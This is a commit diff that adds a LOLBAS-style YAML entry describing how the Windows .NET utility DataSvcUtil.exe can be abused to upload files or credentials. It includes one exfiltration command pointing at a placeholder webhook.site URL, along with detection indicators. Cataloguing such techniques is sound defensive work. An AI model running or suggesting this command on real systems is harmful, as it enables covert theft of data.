Create DataSvcUtil.yml

Another data exfil way with lolbins

yml/OSBinaries/DataSvcUtil.yml

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+---
+Name: DataSvcUtil.exe
+Description: DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
+Author: 'Ialle Teixeira'
+Created: '01/12/2020'
+Commands:
+  - Command: DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
+    Description: Upload file, credentials or data exfiltration in general
+    Usecase: Upload file
+    Category: Upload
+    Privileges: User
+    MitreID: T1567
+    MitreLink: https://attack.mitre.org/techniques/T1567/
+    OperatingSystem: Windows 10
+Full_Path:
+  - Path: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe
+Code_Sample: 
+  - Code: https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6
+Detection: 
+  - IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.
+  - IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
+  - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.
+Resources:
+  - Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
+  - Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
+  - Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services
+Acknowledgement:
+  - Person: Ialle Teixeira
+    Handle: '@NtSetDefault'
+---